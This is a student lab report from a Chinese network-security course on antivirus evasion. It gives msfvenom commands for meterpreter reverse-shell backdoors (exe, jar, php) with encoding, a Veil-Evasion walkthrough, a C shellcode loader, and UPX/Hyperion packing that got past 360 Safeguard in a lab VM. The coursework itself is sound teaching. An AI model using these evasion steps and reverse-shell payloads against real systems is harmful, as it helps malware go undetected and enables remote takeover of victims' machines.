2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
免杀原理及基础问题回答
一、免杀原理
- 免杀就是通过一定的手段,将文件进行“整容”,让杀软无法识别,已达到免于被杀软查杀的目的。
- 免杀思路:(1)对病毒木马文件进行修改;(2)拓展病毒木马文件功能,甚至是攻击杀软来达到目的。
二、基础问题回答
- 问:杀软是如何检测出恶意代码的?
- 特征码是指杀软针对相应病毒或木马所特有的特点截取的一段二进制代码(涵盖了十六进制代码、汇编指令等)。杀软就是依靠检查文件特征码来识别一个文件是不是病毒或木马。
- 启发式恶意软件检测:启发式指 “自我发现的能力”或“运用某种方式或方法去判定事物的知识和技能”, 是杀毒软件能够分析文件代码的逻辑结构是否含有恶意程序特征,或者通过在一个虚拟的安全环境中前摄性的执行代码来判断其是否有恶意行为
- 基于行为的恶意软件检测:通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。
- 问:免杀是做什么?
- 使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。
- 问:免杀的基本方法有哪些?
- 改变特征码
- 只有EXE——加壳
- 有shellcode——利用encode进行编码
- 有源代码——用其他语言进行重写再编译
- veil-evasion
- 半手工
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存的操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
- 改变特征码
三、免杀效果评价
利用VirusTotal或Virscan,可以上传免杀处理过的程序进行检测。
实验内容
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1. 正确使用msf编码器,生成exe文件
在实验二中使用msf生成了后门程序,使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。
用VirusTotal扫描后结果如下:

- Virscan网站的扫描结果如下:

下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测
- 一次编码使用命令:
-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中 - msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.155 LPORT= -f exe > ljx-backdoor.exe

- 进行十次编码
- msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i -b ‘\x00’ LHOST=192.168.1.155 LPORT= -f exe > ljx-backdoor10.exe
- 将编码十次后的可执行文件上传到VirusTotal扫描后结果如下

- 可见多次编码对免杀没有太大的效果,原因有两点:
- 杀软只要盯住shikata_ga_nai解码(decoder stub)加入exe的部分。
- msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。
2. msfvenom生成jar文件
- 生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT= x> ljx_backdoor_java.jar
- 生成文件如下所示:

- 扫描结果如下:

3. msfvenom生成php文件
- 生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT= x> ljx_backdoor.php
- 生成文件如下所示:

- 扫描结果如下:

4. 使用veil-evasion生成后门程序及检测
安装veil
- 因为镜像版本原因,在安装之先执行下面的指令
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
- 用sudo apt-get install veil-evasion命令安装Veil
- 之后用veil打开veil,输入
y继续安装直至完成:

- 用use evasion命令进入Evil-Evasion

- 输入命令use c/meterpreter/rev_tcp.py进入配置界面

设置反弹连接IP,命令为:set LHOST 192.168.1.155,注意此处的IP是KaliIP;
设置端口,命令为:set LPORT

- 输入generate生成文件,接着输入你想要playload的名字:veil_c_5311

如上图所示,保存路径为
/var/lib/veil/output/compiled/veil_c_5311.exe检测一下:

5. 半手工注入Shellcode并执行
- 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT= -f c用c语言生成一段shellcode;

- 创建一个文件.c,然后将unsigned char buf[]赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 使用命令:i686-w64-mingw32-g++ .c -o .exe编译这个.c文件为可执行文件;

- 检测结果如下图:

- 当想要使用windows上执行该程序时,被电脑的360卫士查杀。

任务二:通过组合应用各种技术实现恶意代码免杀
- 使用压缩壳(UPX)
- 给之前的20165318.exe加个壳得到sxx_upxed.exe:

- 还是被杀软查杀了

- 加密壳Hyperion
- 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
- 进入 /usr/share/windows-binaries/hyperion/
- 输入命令wine hyperion.exe -v ljx_upxed.exe ljx_upxed_Hyperion.exe进行加壳:


- 尝试一下反弹连接

- 网页检查一下


任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 免杀方法:先用msfvenom生成shellcode,再使用压缩壳和加密壳进行加壳。
实验环境:对方电脑为 win7虚拟机,360安全卫士11.4.0.2003(由于我的kali问题,最后一个任务我与5329何佳伟用了同一个win7系统进行反弹连接)
- 反弹连接结果、

离实战还缺些什么技术或步骤?
由于病毒库的更新速度非常的快,我们只有掌握更加成熟的技术来包装病毒才能不被查杀到。
对于实战来说,我还需要学习更多对病毒的改造方法。
实验遇到的问题及解决方法
在安装veil evasion的时候展开包一直失败,后来上网百度了以后才知道这个和版本有关系
输入以下代码之后问题就顺利解决了
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
实践总结与体会
首先那个veil太难装了总出错,一开始装了一个晚上最后还是失败了,这次实验学到了很多知识。
最重要也是最有趣的就是如何把后门软件进行改造来让它伪装骗过所有的杀毒软件,而且实验中
也让我们也见识到了中国杀毒软件的“菜”,学习永无止境!
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
随机推荐
- PHP 【五】
函数 如要在页面加载时执行脚本,可以把它放到函数里 函数是通过调用函数来执行的 可在页面的任何位置调用函数 <?phpfunction functionName(){ // 要执行的代码} ...
- 前端 $.parseJson()
$.parseJSON() 函数用于将符合标准格式的的JSON字符串转为与之对应的JavaScript对象. 例子: 这里首先给出JSON字符串集,字符串集如下: var data=" { ...
- 【原创】大数据基础之词频统计Word Count
对文件进行词频统计,是一个大数据领域的hello word级别的应用,来看下实现有多简单: 1 Linux单机处理 egrep -o "\b[[:alpha:]]+\b" test ...
- Mysql err 1055
目录: 错误信息 原因分析 解决方案 操作示例 错误信息 [Err] 1055 - Expression #1 of ORDER BY clause is not in GROUP BY clause ...
- AGC-018 C
题意: 有$X + Y + Z$个人,第$i$个人有$Ai$个金币,$Bi$个银币,$Ci$个铜币. 选出$X$个人获得其金币,选出$Y$ 个人获得其银币,选出$Z$个人获得 其铜币,在不重复选某个人 ...
- 【Android】webview javascript 注入方法
Android中向webview注入js代码可以通过webview.loadUrl("javascript:xxx")来实现,然后就会执行javascript后面的代码. 但是当需 ...
- net core体系-web应用程序-4asp.net core2.0 项目实战(1)-13基于OnActionExecuting全局过滤器,页面操作权限过滤控制到按钮级
1.权限管理 权限管理的基本定义:百度百科. 基于<Asp.Net Core 2.0 项目实战(10) 基于cookie登录授权认证并实现前台会员.后台管理员同时登录>我们做过了登录认证, ...
- Linux基础性笔记
声明:这是我整理的韩顺平老师的课程,仅供自己参考!!! 给自己的一碗汤:学东西要专一(比较难) 第一节 Linux特点总结: 1. 免费的.开源的. 2. 支持多线程(并发).多用户. 3. 安全性比 ...
- IdentityServer4 密码模式认证
授权服务器设置 添加用户 添加测试用户,也可以从数据库查 public static List<TestUser> GetTestUser() { return new List< ...
- 第四章:4.0 python常用的模块
1.模块.包和相关语法 使用模块好处: 最大的好处是大大提高了代码的可维护性.其次,编写代码不必从零开始.当一个模块编写完毕,就可以被其他地方引用.我们在编写程序的时候,也经常引用其他模块,包括Pyt ...